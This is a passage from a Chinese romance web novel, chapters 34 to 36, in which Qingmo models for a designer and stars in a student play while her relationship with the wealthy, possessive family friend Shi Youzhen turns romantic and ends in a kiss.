清茉又躺下缩进被子里,把问题抛回去,也反问:“你会同意吗?” 施友臻去摸了摸清茉的额头,难得的温和,像给瞌睡的小孩子讲着美好的睡前童话故事,回答:“报备一下,可以。” 清茉捉住他的手,手掌宽厚温暖,一个大拇哥就够她牵住,清茉问着:“但是少衡亲我,他把我当以前的玩伴小女孩,又亲又抱,哥你呢?你也是吗?你现在也是吗?” 施友臻的手顿住,黑暗中看不清他的神色,清茉抓着他的手困意沉沉,一动不动,施友臻问:“少衡亲你了吗?” 清茉:“嗯,我要跟哥老实报备的,他亲我脑门,还亲得特别响,就在大街上。” 与其说报备,倒像是告小状的语气,施友臻的手掌拂了拂清茉额头,清茉抓着他的大拇指晃了晃。 施友臻突然也俯身,在清茉额头上轻轻亲了一下,很短暂,很轻,像良夜的梦。 他哄着:“睡吧,当成小女孩也没错,不是喊我哥吗?一天能喊八百遍。” 清茉翻了个身,背对着施友臻,嘀咕道:“好讨厌,不准亲,我长大了,从我的闺房滚出去。” 施友臻:“嗯,睡吧。” 清茉第二天早晨被响了第三遍的闹铃吵醒,一个激灵弹跳起床,匆匆穿衣服,施友臻早就不见踪影,但是餐桌上放着一份打包好的早餐,清茉抓起来赶紧下楼,启动车子往学校赶。 路上很堵,堵车的时候看着车钥匙上艺术展纪念钥匙扣发呆,想着要约个搬家公司把客厅里的沙发搬到狮麟别苑去得了,一天天的像什么话,传出去简直有损清誉。 但是睡得好踏实。 很多感情,分不清模糊的界线,异常危险。 跑进教室,还是迟到了五分钟,杨教授看她气喘吁吁笑着问:“起晚了吗?友臻说昨天很晚航班才到,听说是为了不耽误课特意晚上返程的?精神可嘉嘛,不过学习也不急于这一时,休息好也很重要。” 清茉好奇施家大哥跟杨教授关系,但是没有深问,掏出课本赶紧上课,杨教授今天仍旧是一半语言一半人文历史,还给清茉推荐了好多旅游的好去处,结束课程的时候甚至还问:“友臻好久没休假了,让他一起跟你过去渡个假。” 清茉起身送杨教授,杨教授已经走到电梯间,突然折返回来,说着:“我们院系有个年末汇演,你也算是我的学生,有一出话剧还缺几个演员,王岚把剧本发给你,我想想是哪个角色来着,对,一位骑士美丽的妻子,就是你了,可能要花时间排练,记得跟友臻打招呼。” 清茉:“……”这样好吗,她都不是本校学生,离开校园那么久,怎么还有汇演任务,以前她都是能躲就躲,骑士美丽的妻子,听起来好可怕,她问助教王岚:“词儿多吗?” 王岚同情地看了眼清茉,实话实说道:“为什么还没人愿意演,因为词儿多。” 清茉:“那什么时候汇演?” 王岚:“周五晚上。” 清茉:“……” 接下来一直到晚上,清茉都在啃台词,一个一个记发音,是个学生原创的剧本,爱情与背叛,她演的角色,为了自由的爱情,背叛了丈夫,她爱的人,也背叛了她,然后陷入了荒诞循环,谁也没得到谁,但是谁都是自由解脱的。 晚上她还在图书馆,少衡电话就打进来,清茉去楼道接听,少衡问着:“今天可以出来了吗?我的公主殿下!” 清茉都两杯黑咖啡下肚了,轻飘飘灵魂出窍,软绵绵回着:“不要,这周超忙。”她也没说谎,六六刚才发信息,周三帮约了个试镜,有家设计师品牌看了清茉的照片很喜欢,想合作试一试,其他的几天都要背台词,还要跟学生们一起排练磨合,时间很紧张。 少衡非常不满,说要去清茉小区门口逮人,清茉哄着:“周六,周六好不好,约哥也一起吃个饭,你帮忙找个好吃的地方。” 少衡:“真的?那去安姨家吃?” 清茉:“不要了吧,打扰人家,你先问问哥时间可以吗?将就他的时间吧。” 少衡不满:“为什么将就他的时间不将就我的时间,你又区别对待!咱俩宇宙第一好的行吗?围着他转的人那么多,不少你一个。” 清茉:“……行吧,你定吧。” 被少衡一打岔,清茉也脑子不清静了,收拾书包取车回家,半路上路过狮麟别苑的小区,干脆拐了进去,车牌号竟也提前录入过了,自动抬杆。清茉找到独栋的房子,输入自己生日密码进门。 昂贵从来都是有昂贵的道理。 清茉参观一圈,猜测施友臻应该找专人收拾打理过,各处都是拎包入住的标准,几个卧室里面也收拾得熨熨贴贴,主卧连接一个拱形的大阳台,如果是白天阳光撒进来,绝美。衣帽间也很惹眼,里面大部分空置,但是有个柜子悬挂着几套家居服,女士款。 清茉拍照发给施友臻,发信息问着:“这是您哪位女性朋友落下的?房子说是让我学习专用,怎么还留下证据?哥,说出你的故事,跟谁风花雪月了?” 施友臻秒回电:“给你备的,清洗烘干好的,去看房子了?” 清茉躺到主卧床上,问着:“那我今天在这边睡吧,懒得开车了,今天好困,超困,杨教授还坑我参演学生们的话剧,给我留了词儿特别多的角色,周五晚上就演出,要来看吗?肯定超囧超尬。” 施友臻:“好,周五晚上几点?” 清茉在床上打了个滚:“七点半开始,小礼堂里,嗯,然后少衡约我周六玩,我说要喊哥一起吃饭,对了哥,我周三还有个拍摄,一个超酷的设计师品牌,正经拍摄,没意见吧哥,我可是乖乖报备了。” 施友臻:“品牌跟拍摄地点发给我。” 清茉:“干嘛,查岗吗?知道啦,我要一个发给你。哥,我真的在这边睡了啊,太困了,开车打盹。” 施友臻:“嗯,睡吧,晚饭吃了吗?” 清茉:“没有,喝了杯咖啡,不想吃了。” 施友臻:“那先别睡,我过去一趟。” 施友臻到达狮麟别苑房子的时候,里面安安静静,清茉已经在主卧睡着了,换了套提前预备好的奶蓝色家居服。她还是这么喜欢睡觉,从小就是,吃饭不是刚需,睡眠才是。以前单独接送清茉的一段时间,上学放学的路上她就经常睡着。 睡着了就靠在施友臻身上,有时候直接枕着施友臻的腿睡。 施友臻没吵她,把带回来的饭菜放到厨房,待会万一清茉醒了再说。这个独栋房间充足,清茉倒是大方方占了主卧,刚才通话的时候一个劲儿说主卧的阳台漂亮,像城堡。 施友臻倒是觉得清茉的小房子也很好,不仅“聚气”,而且一切都在视野范围内。 施友臻也去洗漱换衣服,住这里也可以,房间充足,他不用睡沙发。客厅茶几上放着清茉要演出的剧本,施友臻换好衣服,泡了杯茶,拾起来品读。不算是很成熟的文学作品,角度倒是新颖,从清茉标注的笔记看,她演了个骑士的妻子。 美丽,奔放,不受一丁点委屈,自由比爱情更重要,可以背叛,但是不接受被背叛。 施友臻翻看完,决定赞助演出服,清茉的角色太适合华丽的礼服和璀璨的珠宝,当然,顺便把整个演员团队的都赞助了。 施友臻当晚完成了舞台服饰的专业咨询和订购,按照舞台剧发生的年代风格,给清茉挑了三套舞台礼服,明天团队会在学生们排练的时候现场服务。施友臻把清茉的三套衣服截图保存。 他喜欢一套薄荷绿色的长裙,像清茉昨天喜欢的那幅画,是灵动跳跃的夏日生机。 第34章 第三十四章 周三一下课,清茉就往约好…… 周三一下课, 清茉就往约好的摄影棚赶,这次设计师是六六的朋友,听说也是小作坊, 据说只做纯手工制衣,今天拍摄也是设计师自己拍,给的报酬倒是不低。六六说她这位朋友之前看过清茉给买手店拍的照片, 问过好多次。 清茉到了拍摄地点,把地址同步给施友臻, 乖巧报备。施友臻问大概到几点, 六六之前估计过, 这位设计师挺事儿, 得很晚。 被六六评价为事儿事儿的新锐服装设计师丹尼, 小众到几乎无人知晓,“几乎”可以去掉。他一直在打磨,约清茉拍摄的这个系列, 算是回国的第一个作品系列。 但是设计师丹尼自信绝对会爆红, 他是老六在法国进修认识的同班同学,孔雀都比不过的开屏男子, 此刻站在清茉面前, 绕着圈打量清茉, 上上下下,左左右右, 拖着下巴若有所思。 老六觉得清茉是自己珍贵的朋友, 就算帮清茉找模特兼职,也是筛选出最妥帖的,都是信得过人品的朋友,比如丹尼。丹尼全靠祖上拆迁款反哺自己的事业, 并且孤芳自赏,在国外时候设计出来的作品怎么推都无人问津,简称:卖不出去。 丹尼眯着眼睛继续扫射清茉,清茉干脆掏出台词本继续狂背,丹尼抱着胳膊站在一旁神经质似的不吭声,老六无语道:“演上哑剧了吗我的二位祖宗?” 丹尼双手比划镜头框去框清茉,来来回回绕着找角度,然后长叹一声对六六说着:“老六,你用林小姐拍你买手店淘来的洋垃圾,暴殄天物,今儿哥哥让你瞧瞧,什么是珍珠蒙尘。” 丹尼最新的设计,大胆使用了珍珠和蕾丝元素,他从电脑上调出设计稿,坐到清茉旁边给她看,清茉从台词本上抬眼,看了设计图,问着:“尺度这么大吗?” 丹尼直击灵魂:“你是不自信吗?还是正在被谁管束?为什么会觉得尺度大?这是艺术,不是为了暴露的暴露。”丹尼把今天准备拍摄的服装推过来,清茉起身去看,丹尼做衣服不计成本,珍珠从大珠到小珠品质都极高,光泽熠熠,跟蕾丝交缠镶嵌,很纯也很Yu。 实物很美。 清茉同意拍摄。 有一件oversize亚麻白衬衣,上面手工镶嵌了珍珠和白贝母,拍摄灯光下流光溢彩,清茉拍摄的时候内搭只是一条很短的吊带纱裙,衬衣下腿部线条匀称修长,妆造做的卷发自然又凌乱。 清茉在默记着台词,低着头走神,走神被收进镜头,带着几分迷茫。 丹尼兼职摄影师,在六六身边小声说着:“可以用一款香水命名。” 六六:“你跟我想的可能是同一款。” 丹尼:“事后清晨。” 六六:“YES。” 丹尼:“不要让男人看到她。” 六六一想,赞同:“那确实,你先别发,搞不好清茉的男人不让发布。” 丹尼摇头:“庸俗,暴殄天物,我只问林小姐的意见,林小姐让就是让,身体是林小姐自己的。再说,分享美,是人类的美德。” 拍摄一直到深夜,清茉挺喜欢丹尼的这个系列,丹尼还没想好给起什么名字,翻看照片的时候,长长舒了口气,问清茉跟六六:“要不,就叫‘清晨’吧,我起名都琢磨大半年了,今儿定了得了,就叫清晨吧。” 清茉又困了,打了个哈欠,说着:“可以的,可以刺激幻想感官,祝大卖。” 结束拍摄的丹尼有点忧伤的样子,怅然若失。他去自己的百宝箱翻了好一阵,掏出一条宽边银色的Choker,金属拉丝和梭编蕾丝,镶嵌钻石和珍珠,丹尼走到清茉身后帮她戴上,说着:“用这个抵一半劳务费行吗?” 清茉点头:“好呀,我还想要那件白衬衣。” 丹尼:“OK,送你,抵了另外一半劳务,珍珠都是我一颗一颗挑的。” 后来丹尼名声鹊起,采访的时候记者问他从业以来最满意的作品,丹尼说是第一套叫“清晨”的系列,丹尼放出几张早期的设计草图,吊足了大众胃口,但是丹尼很神秘地说着:“设计和整个系列都被买断了哦,很久以前就被买断了,设计,成衣,模特照,全系列买断。” 仨人结束拍摄,一起收拾好出门,清茉发现她的小跑车被一辆眼生的大越野挡住了,就过去想看看对方有没有留电话号码,一看,越野驾驶座上竟然是施友臻,清茉敲敲窗户无语问着:“哥,你过来干什么?” 施友臻打开车门下车:“等你拍摄结束检查功课。” 清茉简直要翻白眼,问着:“那你进去等啊。” 施友臻跟六六还有丹尼打招呼,说着:“会打扰,我刚到没多久。” 清茉把车钥匙给六六:“六,帮我先开你那里,我明天过去取,丹尼,我哥来接,我先回家了。”然后就非常自觉地爬上了施友臻的车。 目送他俩离开,丹尼好奇问着:“亲哥?” 老六:“我可不敢吭声,来吧丹尼,开茉茉的豪车兜风去!” 丹尼:“爱情困不住她,她可以困住别人,老天保佑。” 老六:“大仙儿吗你是,神神叨叨,快上车,我看看怎么开……” 施友臻开车往清茉小区驶去,清茉盯着导航,警告道:“绝对绝对不可以睡我家沙发,你要检查学习,我陪你去狮麟那边。” 施友臻GET了重点:“不检查学习就可以去?” 清茉无语:“哥,你工作这么不饱和的吗?我听少衡说你是工作狂啊,我怎么看你很闲?” 施友臻:“落下教育是这样的,得加倍找补。少壮不努力,老大徒伤悲。” 清茉:“……” 拍摄其实很累,要配合丹尼天马行空的各种想法,她又没有经过专业模特训练,全凭感觉,丹尼要找感觉,她也要找感觉,老六还在一旁指手画脚批判他们的感觉,一天下来清茉累劈叉了,这会强打着精神陪施友臻开车。 夜里行车总是快些,到家花费半个多小时,回来太晚只能泊车在小区外面,施友臻下车帮清茉拿了书包,帮清茉拢围巾的时候看到里面亮晶晶的饰品,很少见的款式,白莹莹一圈,紧贴着皮肤扣住脖颈。 施友臻莫名有些在意。 到家清茉困得已经眼迷离,在玄关脱外套,又赶施友臻道:“让我睡觉吧,哥,友臻哥?哥哥!你走嘛。” 施友臻并不理会清茉的合理诉求,帮清茉把外套整理好悬挂在玄关,围巾也整齐叠好,这才看清了项链的全貌,是一条工艺复杂的精致Choker,室内灯光下光彩熠熠,更衬托清茉的修长纤细。 他一晃神,手已经握上了清茉的颈脖,虎口卡在Choker正中。 清茉最近跟他亲昵惯了,原本只是一怔,没怎么当回事说着:“干嘛,吓我一跳,你轻点,丹尼送的项链,他自己手工做的,容易坏。” 施友臻的手丝毫没有松开的意思,本就高大的男人面对面站立,清茉觉察到施友臻握着她脖颈的力道微微加重,卡住脖子几乎要影响呼吸,这才知道施友臻不是玩闹,紧张起来去掰施友臻的手,不满问着:“哥你轻点!你手劲太大了!” 施友臻这才松开手,说着:“抱歉。” 清茉摸着项链推开他,又困又气:“哥你到底知不知道自己力气超级大?项链又怎么招你惹你了?” 施友臻走到清茉身后,上手直接把项链摘了下来,也没藏着掖着,说道:“Choker有很多暗示意义。 ” 清茉无语:“你是接收到我暗示了对吗?暗示你暗杀我?这是今天丹尼设计系列里的一个配饰,给你看看今天的作品,用的蕾丝跟珍珠元素,很仙儿的。” 清茉发了几张照片给施友臻,施友臻点开看了之后,没讲话。 讲不出话,更无语了,无语到脑子里已经立马想好采取什么措施了。 清茉洗漱完上床前,施友臻问:“今天的拍摄,会发布吗?” 清茉点头:“嗯,应该会,看看丹尼找不找营销团队,不找就随时在他网站发,但是用料太昂贵了,估计不好卖。” 清茉都躺下了,换了家居服的施友臻坐在清茉床边,就是不放过清茉,竟然不依不饶提问了几个今天新学的单词,清茉趴在床上回答,还得一个一个拼出来,今天没能百分之百全身心复习,有个单词卡壳了,施友臻教了一遍,清茉打哈欠背下。 清茉拍了拍身边空出来的半张床,问着:“哥,你要不要睡这半边?睡前给我读单词,我能多背一百个。” 施友臻就着清茉趴在床上的姿势,握住她的后颈,问着:“今天是故意的吗?” 清茉想挣开,施友臻按住她不让动,清茉问着:“故意什么?” 施友臻:“故意三番四次暗示。” 清茉:“哥,心里有什么,眼里就有什么,你认不认?” 施友臻松手,起身说着:“睡吧。” 清茉好像预测到也就到这种程度,坦然翻了个身,说着:“晚安,我睡沙发的亲爱的友臻哥,祝您好梦。” 原本就是一个平静平凡的夜晚,施友臻觉得清茉的这个空间像是蛰伏了巨大的,不可控的危险,他并没有再留宿,临行前收走了清茉晚上戴着的项链,很漂亮,很危险。 可以戴,但是施友臻觉得,他送的会更好看,更合适。 第35章 第三十五章 “暗夜精灵”施友臻先生照…… “暗夜精灵”施友臻先生照旧消失在清晨, 应该是夜里就离开了,因为餐桌上没有“田螺先生”的爱心早餐。 清茉没睡够,起得晚, 瞧着空空的餐桌,内心是“啧”了一下,果然预料之内。她匆匆忙忙奔去学校, 路上还翻着课本记忆昨天的内容,踩着点儿去买了个煎饼果子, 一步小跑着冲上了教学楼。 杨教授今天有别的行程没有来, 周五晚上就是汇演, 今天由助教帮着清茉一起顺台词。清茉念书时候得靠着助学金、奖学金, 养成了很踏实的学习习惯, 有任务就扎扎实实完成,白天背晚上背,终于背得大差不差, 中午在学校食堂吃了青椒小炒肉盖饭, 饭后就去跟参演的学生们一起排练。 舞台剧演员八个人,女主演也是导演, 是个精力旺盛的大三女孩, 清秀可爱的南方小姑娘, 听说清茉是杨教授带的学生,格外热情, 直言不讳想考杨教授的研究生, 打听清茉什么情况。 出门在外身份是自己给的,清茉就报了自己本科时候学校的名字,跟人家友好交流着:“我准备出国读博士呢。” 演出四个男孩,四个女孩, 清茉算是女三,全程的串场人物,跟她搭档的男孩也很开朗,一口一个学姐,耐心地跟清茉对词,听说清茉刚学习新语言没多久,一个劲儿称赞学姐天才。他们这个小社团野心勃勃,导演小姑娘安安还想着报名开春后的大学生戏剧节。 写剧本的是个研一男生,在演出中扮演一个沉默的城堡,挺内向,清茉专门过去搭话夸他剧本写的好,男孩的脸瞬间红温,耳朵通红,磕磕巴巴低头说着:“谢……谢……”清茉还逗他两句,鼓励他继续加油,男孩眼睛亮亮地猛点头。 排练到下午三四点钟,清茉给大家点了下午茶,导演安安强烈邀请清茉也参加开春的艺术节,清茉指了指戴着城堡纸壳子的编剧小弟,说着:“让我演沉默的城堡我就同意。” 还有很多要磨合的地方,舞美服装也都得自己动手,瞧着晚上要熬大夜,排练教室只能约到下午五点钟,导演安安跟大家商量,要不就去楼梯间继续。 清茉想了想,起身去给施友臻打了个电话,施友臻接起来,但是说着:“稍等。” 可能又是在什么会议上,清茉等了会,施友臻说着:“嗯,说吧。” 清茉:“哥,杨教授的学生们晚上需要个排练的场地,我可以带他们去狮麟那边吗?” 施友臻:“可以,几点?” 清茉:“五点左右吧。” 施友臻:“嗯。” 清茉:“谢谢哥!” 施友臻:“嗯,今天上课怎么样?” 清茉:“今天您不用过来检查功课,杨教授有行程,我跟助教背的台词,给您省掉一个行程,不客气。那我们准备过去了。” 施友臻:“好。” 清茉请示完,跟社团的小朋友们建议说着:“朋友家在附近有空着的地方,去他家里排练吧,客厅足够大,在楼道太冷了,对了,你们明天演出,服化道都准备好了吗?” 导演安安琢磨着:“也没什么经费,一切从简呗,租了两套衣服,化妆的话,我们几个女生相互画一画。” 清茉觉得跟年轻学生弟弟妹妹们在一起挺有意思,特别有青春蓬勃的气息,就给六六打了电话,说着:“晚上过来一起玩呗,有个学生社团要演出,我客串了一下,但是服化道太简陋了,约上丹尼一起帮着参谋一下呗,你俩过来琢磨一下,有现成的明天就拿来,估计是复古风,我看着约等于无,你们俩重新设计也行。” 六六也正无聊,应着:“你这业务突然变这么广?行,我约一下丹尼,正好把车开过去。” 清茉:“那明天下午到晚上也过来帮忙呗,化妆师的职位留给您,获评奥斯卡的时候把你写进领奖感言。” 六六:“你干脆叫老六得了,太六了。” 约完后勤保障团队,清茉让大家收拾收拾东西,狮麟别苑步行十几分钟路程,干脆都走过去得了。一路上学生们叽叽喳喳活泼地聊天,有个本地的学生给大家科普狮麟别墅的市值,清茉干笑:“我这朋友比较厉害,又很大气,待会我还有两个朋友过来,帮大家搞一下舞美妆造。” 到了狮麟别苑的房子,学生们一进屋都哇哇哦哦赞叹个不停,清茉去厨房冰箱给他们找饮料,正想着晚上点哪个外卖请小朋友们吃一顿,外面门铃响了,清茉过去看,竟然是章大秘。 清茉请他进来,觉得好笑,问着:“您这是?” 学生弟弟妹妹们以为章宁是房子主人,齐刷刷起立问好,导演安安一本正经说着:“谢谢您借给我房子用,明天您时间方便的话,邀请您一起来看演出。” 清茉憋笑,章宁托了托眼镜框,客气道:“我是受人之托,来看看有什么需要帮忙的,晚餐需要订一下吧,你们忙着,我来协助下后勤。” 孩子们谢过后又开始讨论演出细节,清茉看章宁进了厨房,也跟过去,问着:“方便透露下年薪多少吗?” 章宁秒懂:“私事有另外一份工资,年轻人什么口味?需要辛辣一点吗?” 清茉:“我去问问,不过需要再加两个人头,我还有两个朋友过来。” 章宁:“没问题,那我多叫几个口味。” 清茉:“那位忙什么呢?” 章宁:“施总?确实很忙,出差了。” 清茉:“哦。” 六六跟丹尼过来的时候,正好赶上了章宁张罗的一大桌饭菜,几队人马相互介绍后,热闹非常地进行了晚餐时间,用餐结束后章宁继续扮演大厨,去准备餐后水果果盘,收拾妥当后,孩子们跟清茉进行了一次完整的排练。 丹尼跟六六听不懂语言,俩人捧着中文译本一边看一边对中文,丹尼竟然看哭了,敏感的设计师神经被触动,掏出平板开始写写画画,说着:“如果不是明天就演出,我可以给你们定制全系列的演出服。” 六六也赞美道:“真不错,咱们走复古风呗,我店里还真能凑出不少。不过我也好想演,我想演沉默的城堡!可以加一棵沉默的大树吗?” 章宁抱着胳膊在一旁看完,抬起手腕看了看时间,他要等的人准时抵达,门铃响,章大秘过去开门,一行三人的团队推着几个巨大的箱子进门,制服统一,上面某奢牌的名牌标识非常醒目。 小众设计师品牌主理人丹尼和洋货投机买手店店主六六异常敏感,看着这队人马进场,猛就窜起来,丹尼擦擦眼泪眯眼问着:“茉,几个意思?” 清茉也挺懵地看了眼章宁,章大秘介绍道:“杨教授同意的品牌赞助,时间仓促,尽量准备了,大家试一下,还有一天一夜调配时间,有不合适的可以再协调。” 清茉:“……” 章宁招呼品牌方领队给大家按照角色试装,跟清茉在一旁解释道:“施总应该是看过剧本,给您订的礼服在外地,他们去取浪费了一天时间,仓促了点。” 学生弟弟妹妹们瞧着试装团队制服上的奢品logo,面面相觑,小声问着:“这是正品,还是戏中戏?” 清茉无语扶额,拍了下几队人马面面相觑对峙的画面发给施友臻,问着:“夸张了吧。” 施友臻回复:“不客气。” 清茉:“……” 品牌试装团队跟学生导演小妹商量着每个人的着装,清茉看着学生弟弟妹妹们很兴奋地雀跃挑选,也就任由他们了。 清茉的衣服由专人拿过来,她去换上,尺码正好,足足专门给她配了三套,陪着清茉试装的六六在一旁帮她,感慨道:“茉,你这哥,情况不对。” 清茉不吭声,六六添油加醋:“你开他的车,住他的房子,穿他的衣服,总结一下呗,你说是什么情况。” 对品牌抱有轻蔑的丹尼在一旁替清茉总结了,抢答道:“这题我会,包养,妥妥的包养。” 清茉:“……” 六六:“放屁,是高贵的爱。” 清茉:“不,他就是有钱闲的。” 试装完成,就连扮演沉默城堡的编剧小弟都获得了一身品牌正装,虽然他还是要套在用纸壳做的城堡中,几个人的尺码需要调换一下,明天演出前可以拿到,领队单独去请示章宁,询问林小姐的服装是否合适。 清茉正好从试衣间下楼,她没当着大家面儿展示,说着:“谢谢,很合适。” 鬼知道施友臻怎么报的尺码,合适是真的合适。 试装花了一些时间,品牌方走后,丹尼喊上章大秘,外卖点来一些材料,连夜帮孩子们完成了新添了舞台置景,剪裁涂画到后半夜,孩子们跟清茉又排了几遍,赶在宿舍关门前回校了。 清茉送走他们,去施友臻藏酒的酒柜挑了几支红酒,招呼成年人们继续开夜场,章大秘昂贵的套装被颜料都沾染脏了,清茉端着酒杯在旁边看他们画,问着:“偶尔干点不一样的,是不是挺有意思?” 章大秘:“成为艺术家,是我从小的终极梦想。” 丹尼跟六六抬眼看他,噗嗤都笑出声。 都忙完也都微醺,清茉送走他们也干脆住在狮麟,睡得晚也睡得沉,但是清晨还是迷迷糊糊醒来,总觉得听到了门锁被打开的声音,她在床上翻身,问着:“哥?” 并没有人应答,那可能是幻觉,清茉又接着睡了过去。 周五的演出热闹非凡,外语学院向来以美女多著称,汇演又是延续多年的项目,附近高校早就提前抢票要来观演,丹尼跟六六也早早赶过来帮着孩子们化妆,品牌团队也来协助,他们社团的浩荡声势惊呆大家,学校负责老实都惊呆了,问着:“品牌方赞助了?” 导演兼主演小妹穿着她昂贵的复古大红裙骄傲道:“校史第一次吧?” 应该是被嘱咐过,清茉有专人在服务,上场的第一套演出服是套简单的白色长裙,剪裁简约,但是很显身材,清茉又高挑,出场的时候,换取哇声一片。 舞台上灯光很亮,观众席上是黑压压的一片,完全看不清观众。 清茉刚开始几句台词有些紧张,声音发紧,慢慢适应灯光之后,就平静下来,把台词流利地讲了出来,或许有一点表演天赋,舞台上的发挥比平时排练的时候更好,她跟搭档激烈争吵到分开的那段戏,清茉都入情入景飙了眼泪。 她最后一套礼服,是施友臻特意挑选的薄荷绿长裙,背后的置景是丹尼通宵赶制的繁复到妖冶盛夏繁花,属于清茉的最后一幕戏,是她散开长发跑过自由的夏天。 演出后掌声雷鸣,他们的团队舞台效果太突出,完全是高一档的存在,返场谢幕三次才进行下一个节目,大家在后台都很兴奋,相互拥抱祝贺,清茉在人声鼎沸的后台化妆间里有点恍惚,原本以为人生没有再少年,其实就是自我束缚不敢尝试。 后面还有大合影,但是已经有很多人堵在他们社团的化妆间门口了,都求合影,求联系方式,有隔壁高校的几个男生直接奔着清茉过来,他们也带了参演剧目,提前演完了就去看了清茉的剧,大男孩们表示太喜欢了,问清茉能不能加联系方式。 一问,围着清茉的人突然变多起来,有想采访的,又要联系方式的,有想合影的,清茉被围了里三层外三层,她被围在墙边,挺不适,还很多人在外围直接拍照。 “清茉。”有人喊她名字。 喊她的男人实在太显眼,不管是身高还是气场,在一众带着妆造的学生中间,像来自异星球的异类。 人群静了片刻,施友臻拨开围堵的人群,拉着清茉的手,把她从这里抽离,直接牵着走了。 导演小妹在后面喊着:“还得参加最后大合影的……” 领走林清茉的男人没有回头,林清茉也没有。 清茉还穿着那套绿色裙子,施友臻走得很快,清茉提着裙摆,喊着:“哥,你不会刚才坐在下面看演出了吧?不是出差了吗?” 施友臻不讲话,步子仍旧很快,礼堂外面也围了很多没有票的学生,要去停车场得穿过人群,施友臻脚步一顿,拐到礼堂没有台阶的那侧,他直接跳下去,张开手朝着清茉说道:“下来。” 清茉:“哥,走楼梯呗,这挺高的。” 施友臻心里有点懊恼,他的小女孩就该拥有最漂亮的一切,但是没有必要展示给太多人,他固执道:“跳下来。” 清茉站在高高的地方,低头看着施友臻,礼堂这侧紧挨着松柏树林,灯光晦暗,跟方才明亮喧嚣的舞台和人群,像隔着几个世界。 清茉看着施友臻的眼睛,心里一横,就直接跳了下去。 施友臻环抱着清茉的腰,稳稳接住。 第36章 第三十六章 在重逢林清茉之前,施…… 在重逢林清茉之前, 施友臻的生活轨迹像不可推翻的铁定规律,单纯,单调, 乏善可陈。但是,他创造着巨大的财富价值,一切又本该如此。 毕竟有一个这样道德标准超高要求的掌舵人, 总比花天酒地漫天花边新闻的纨绔要强百万倍,仰仗施友臻的正确投资方向和干练高效的管理, 融恒集团各个链条上各层级职工, 待遇都在稳步中继续向好, 在现在这个冷飕飕的大环境下, 特别难得, 招聘市场上想入职融恒体系,竞争激烈。 施友臻甚至自己都默认了这样的刻板生活,几年前曾有订婚的婚讯上过新闻, 但是在对方家族单方面发布通稿之后, 融恒辟了谣,之后的公关团队应该也是格外上心, 施友臻再无其他私人事项见报, 这些年都是清心寡欲的形象。 林清茉的出现是一场猝不及防的意外, 链接心思单纯的孩童少年时代和现在寡淡自律的青年时光,不同时空的好感和好奇重合, 她带着明艳色彩凭空出现, 像天才丹尼通宵绘制的巨幅布景,漆黑的舞台幕布拉开后,疯狂蔓生的夏日繁花炸开在眼底,花簇扎穿了人心, 瞬间变得明媚生机。 舞台上绿色长裙的清茉奔跑而过,像抓不住的精灵。 施友臻出差赶回,踩点进入礼堂,为了看她的演出。惊艳众人的亮相换来雷鸣掌声,施友臻无法安坐,直接去了后台。 美丽可以定罪,她擅长蛊惑人心,彻底把施友臻既定的生活模式搅和了个天翻地覆,公务行程要为私人行程让路,订好的行程可以一变再变,会议是可以随时中断的,因为他要接起清茉的电话,夜晚加班的办公室变得无聊,多晚都想去摁清茉家的大门密码,沙发也是可以一而再再而三当成床睡的。 他变得过分关注于一个女孩的吃穿住行,并乐在其中地想为她安排最好的。 不过,这都不是重点,这些关心和倾注,尚可用“哥哥”这个名义搪塞,他也曾用这个逻辑说服自己。 重点是,他对于清茉,有了冲动的Y望,是男人对女人的原始冲动,想私藏,想占有,生理的直接和理智的谨慎,在相互割据撕扯。 像现在,手掌间是女孩柔软的腰肢,细软地磁吸住他的手掌,本能只想紧紧搂住,不想让她脱离掌心,理智则在提醒,应该保持绅士的体面和距离。 清茉昂着脸用漂亮的眼睛直视着他,长发散在光洁的肩膀上,她呼吸很急,抹胸长裙之上露出的皮肤白莹莹起伏。评价女性的身体,对于施友臻来说是陌生的话题,但是现在他握着清茉的腰,心中悸动,想掌控,想吞噬。 清茉跳下来被施友臻接住,但是施友臻力气过于大,撞击之下发力,攥得她腰被捏疼,清茉昂着脸小声说着:“哥,你劲儿太大了,疼。” 施友臻难得在脸上显现出迟疑的神色,缓缓松开握着清茉的手,清茉缩缩肩膀,避开眼神直视,说着:“车停哪边了,远吗,好冷!” 刚才头脑一热牵着清茉就跑了出来,外套没有拿,清茉只穿着长裙,施友臻脱下西装外套披到清茉身上,宽大的衣裳裹住了女孩,清茉感到了衣服上残存的身体温度,心里一动,突然侧脸凑到施友臻面前,直白问了句:“刚才我还以为,哥你要亲我呢,吓一跳。” 施友臻给她整理外套领口的的手一顿,抓着西服前襟把清茉拢到身前,低头看着像是故意这么诘问的女孩,她在期待吗?期待一个亲吻?来自谁?她的过家家似的友臻哥,还是一个男人? 施友臻很快做出了决定,在这个隔绝人群喧闹的安静松林中,施友臻克制地低头亲吻了女孩的额头,就像那个哄着入睡的夜晚,伪装得仿佛只是一个友好的,来自于长辈的,没有什么情Y 的亲吻。 林清茉突然接收到这样一个纯洁的额头亲吻,被他亲笑场了,清茉心中明净,有着自己的独立认知进度,这种自欺欺人的友爱纯洁之吻,很没有诚意。她扶着施友臻双臂,贴得更近,笑着问道: “哥,这是什么,是要奖励我演出顺利还是学习用功?哥,你是不是没亲过?我给你打个样?” 清茉踮起脚,凑过去在施友臻双唇上轻轻贴了一下,也没敢得寸进尺,蜻蜓点水,碰到柔软的皮肤又立刻撤离,然后噙着小坏得逞的俏皮笑容盯着施友臻的反应。 她也确实好奇施友臻的反应,虽然今天不想明天,当下不想未来,她还是会好奇,施友臻这样的人,会怎么回应,怎么选择。 果然,施友臻握着清茉的肩膀,将她拉开距离,清茉心底有个声音在喟叹,果然还是这样,不会轻易选择,也不会轻易许诺,可以说是稳重担当的贵重人品,但是清茉心里已经起了失望。 她撼动不了施友臻。 清茉干笑一下,找补着想缓和尴尬,就说着:“开玩笑啦,哥别当真嘛,你礼节性地亲我,我也礼节性地回亲,我的呢,更西式一点。礼尚往来嘛,就像你给我六百礼金,我回个八百才礼貌对吧。” 清茉讲完,施友臻握着她肩膀的手劲明显大了,清茉摸不准施友臻是不是要生气,或者已经在生气了,他这个人,从小就有很多奇奇怪怪的规矩,被人冒犯的话,后果严重。 清茉赶紧拢着施友臻的西装前襟,哄道:“太冷了,哥,先去车上嘛,车停哪里了?远不远?哥你是特意赶过来看演出的吗?我演出怎么样?你怎么不带花给我?” 她刚说完,施友臻突然上前一步,将清茉抵到方才跳下的那半人高的墙壁之上,他掐住清茉下颌,抬起她的脸,亲了上去。 